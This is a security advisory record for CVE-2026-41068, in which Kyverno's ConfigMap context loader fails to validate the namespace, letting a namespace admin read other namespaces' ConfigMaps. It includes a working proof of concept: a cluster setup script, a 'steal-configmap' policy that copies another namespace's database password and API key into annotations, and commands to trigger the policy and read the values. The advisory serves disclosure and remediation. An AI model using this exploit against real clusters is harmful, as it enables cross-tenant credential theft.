CVE-2026-41068: Kyverno Cross-Namespace Read Bypasses RBAC Isolation Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cvq5-hhx3-f99p",
  "modified" : "2026-07-21T14:03:44Z",
  "published" : "2026-04-16T21:35:04Z",
  "aliases" : [ "CVE-2026-41068" ],
  "summary" : "Kyverno: Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix)",
  "details" : "### Summary\n\nCVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno's `apiCall` context by validating the `URLPath` field. However, the **ConfigMap context loader has the identical vulnerability** — the `configMap.namespace` field accepts any namespace with zero validation, allowing a namespace admin to read ConfigMaps from any namespace using Kyverno's privileged service account. This is a complete RBAC bypass in multi-tenant Kubernetes clusters.\n\n### Details\n\n**Root cause:** The CVE-2026-22039 fix in `pkg/engine/apicall/apiCall.go` (lines 73-83) validates that `URLPath` references only the policy's own namespace using regex. However, the ConfigMap context loader at `pkg/engine/context/loaders/configmap.go` performs **no namespace validation** on the `namespace` field.\n\n**Code path comparison:**\n\n| | CVE-2026-22039 (fixed) | This vulnerability (unfixed) |\n|--|---|---|\n| **Location** | `apiCall.URLPath` field | `configMap.namespace` field |\n| **Code path** | `apicall.Fetch()` → namespace regex validation | `configmap.NewConfigMapLoader()` → no validation |\n| **Root cause** | Variable substitution + missing validation | Same pattern, still unpatched |\n\n**Exploit mechanism:**\n1. Namespace admin creates a Kyverno Policy in their namespace (standard RBAC)\n2. Policy uses `context.configMap.namespace: \"victim-ns\"` to reference another namespace\n3. Kyverno's admission controller service account (has cluster-wide `view` role) fetches the ConfigMap\n4. Policy mutates a trigger ConfigMap to exfiltrate the stolen data via annotations\n\n**Affected code:** `pkg/engine/context/loaders/configmap.go` - `NewConfigMapLoader()` does not validate resolved namespace against policy namespace.\n\n### PoC\n\nFull reproduction (5 minutes on `kind`):\n\n```bash\n#!/bin/bash\n# Setup: kind cluster + Kyverno v1.17.0\nkind create cluster --name kyverno-poc --wait 60s\nhelm repo add kyverno https://kyverno.github.io/kyverno/\nhelm install kyverno kyverno/kyverno --namespace kyverno --create-namespace --version 3.7.0 --wait\n\n# Create attacker and victim namespaces\nkubectl create namespace attacker-ns\nkubectl create namespace victim-ns\n\n# Plant sensitive data in victim namespace\nkubectl create configmap sensitive-config -n victim-ns \\\n    --from-literal=db-password=\"s3cr3t-p4ssw0rd\" \\\n    --from-literal=api-key=\"AKIAIOSFODNN7EXAMPLE\"\n\n# Create namespace admin RBAC (standard multi-tenant setup)\nkubectl create serviceaccount ns-admin -n attacker-ns\nkubectl create rolebinding ns-admin-binding --clusterrole=admin \\\n    --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns\nkubectl create role kyverno-policy-creator --verb=create,get,list \\\n    --resource=policies.kyverno.io --namespace=attacker-ns\nkubectl create rolebinding kyverno-policy-binding --role=kyverno-policy-creator \\\n    --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns\n\n# Verify namespace admin CANNOT directly access victim-ns\nkubectl get configmap sensitive-config -n victim-ns \\\n    --as=system:serviceaccount:attacker-ns:ns-admin\n# Error: Forbidden (expected)\n```\n\n**Exploit policy:**\n```yaml\n# Apply as namespace admin\napiVersion: kyverno.io/v1\nkind: Policy\nmetadata:\n  name: configmap-crossns-read\n  namespace: attacker-ns\nspec:\n  rules:\n  - name: steal-configmap\n    match:\n      any:\n      - resources:\n          kinds: [ConfigMap]\n          names: [\"trigger-cm\"]\n    context:\n    - name: stolendata\n      configMap:\n        name: \"sensitive-config\"\n        namespace: \"victim-ns\"    # <-- NO VALIDATION\n    mutate:\n      patchStrategicMerge:\n        metadata:\n          annotations:\n            exfil-db-password: \"{{ stolendata.data.\\\"db-password\\\" }}\"\n            exfil-api-key: \"{{ stolendata.data.\\\"api-key\\\" }}\"\n```\n\n**Trigger and exfiltrate:**\n```bash\n# Trigger policy (as namespace admin)\nkubectl apply -f - <<EOF\napiVersion: v1\nkind: ConfigMap\nmetadata:\n  name: trigger-cm\n  namespace: attacker-ns\ndata:\n  innocent: \"data\"\nEOF\n\n# Read exfiltrated secrets\nkubectl get configmap trigger-cm -n attacker-ns -o jsonpath='{.metadata.annotations}' \\\n    --as=system:serviceaccount:attacker-ns:ns-admin | python3 -m json.tool\n# Output:\n# {\n#     \"exfil-api-key\": \"AKIAIOSFODNN7EXAMPLE\",\n#     \"exfil-db-password\": \"s3cr3t-p4ssw0rd\"\n# }\n```\n\n**Result:** Namespace admin successfully read secrets from `victim-ns` despite having NO RBAC access.\n\n### Impact\n\n**Severity: HIGH (CVSS 7.7)**\n\n**Who is affected:**\n- Any Kubernetes cluster running Kyverno v1.17.0 (and earlier) with namespace-scoped Policy creation enabled (default)\n- Multi-tenant clusters where ConfigMaps contain sensitive data\n- Azure Kubernetes Service (AKS) and other managed K8s using Kyverno\n\n**Attack prerequisites:**\n- Namespace admin privileges (standard RBAC in multi-tenant clusters)\n- Ability to create Kyverno Policy resources (default for namespace admins)\n- No cluster-admin required\n\n**What can be exfiltrated:**\n- Any ConfigMap from any namespace\n- Common targets: database credentials, API keys, service configurations, application secrets stored in ConfigMaps\n\n**Why this matters:**\n- Namespace isolation is a fundamental Kubernetes security boundary\n- Namespace admin is an expected, common RBAC level in production multi-tenant clusters\n- Violates the principle of least privilege and breaks multi-tenancy guarantees\n\n**Suggested fix:**\nApply the same namespace validation from `apicall.Fetch()` to `configmap.NewConfigMapLoader()`:\n1. Pass `policyNamespace` to `NewConfigMapLoader()`\n2. After variable substitution on `namespace`, validate resolved namespace == `policyNamespace`\n3. Return error if validation fails\n\nAlso audit other context loaders (`globalReference`, `imageRegistry`, `variable`) for the same pattern.\n\n**Tested versions:**\n- Kyverno: v1.17.0 (latest, includes CVE-2026-22039 fix)\n- Helm chart: 3.7.0\n- Kubernetes: v1.35.0 (kind)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/kyverno/kyverno"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.17.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/kyverno/kyverno/security/advisories/GHSA-cvq5-hhx3-f99p"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41068"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kyverno/kyverno/commit/bbf3e5c01391d612968440659028ae98e565a777"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/kyverno/kyverno"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-16T21:35:04Z",
    "nvd_published_at" : "2026-04-24T04:16:19Z"
  }
}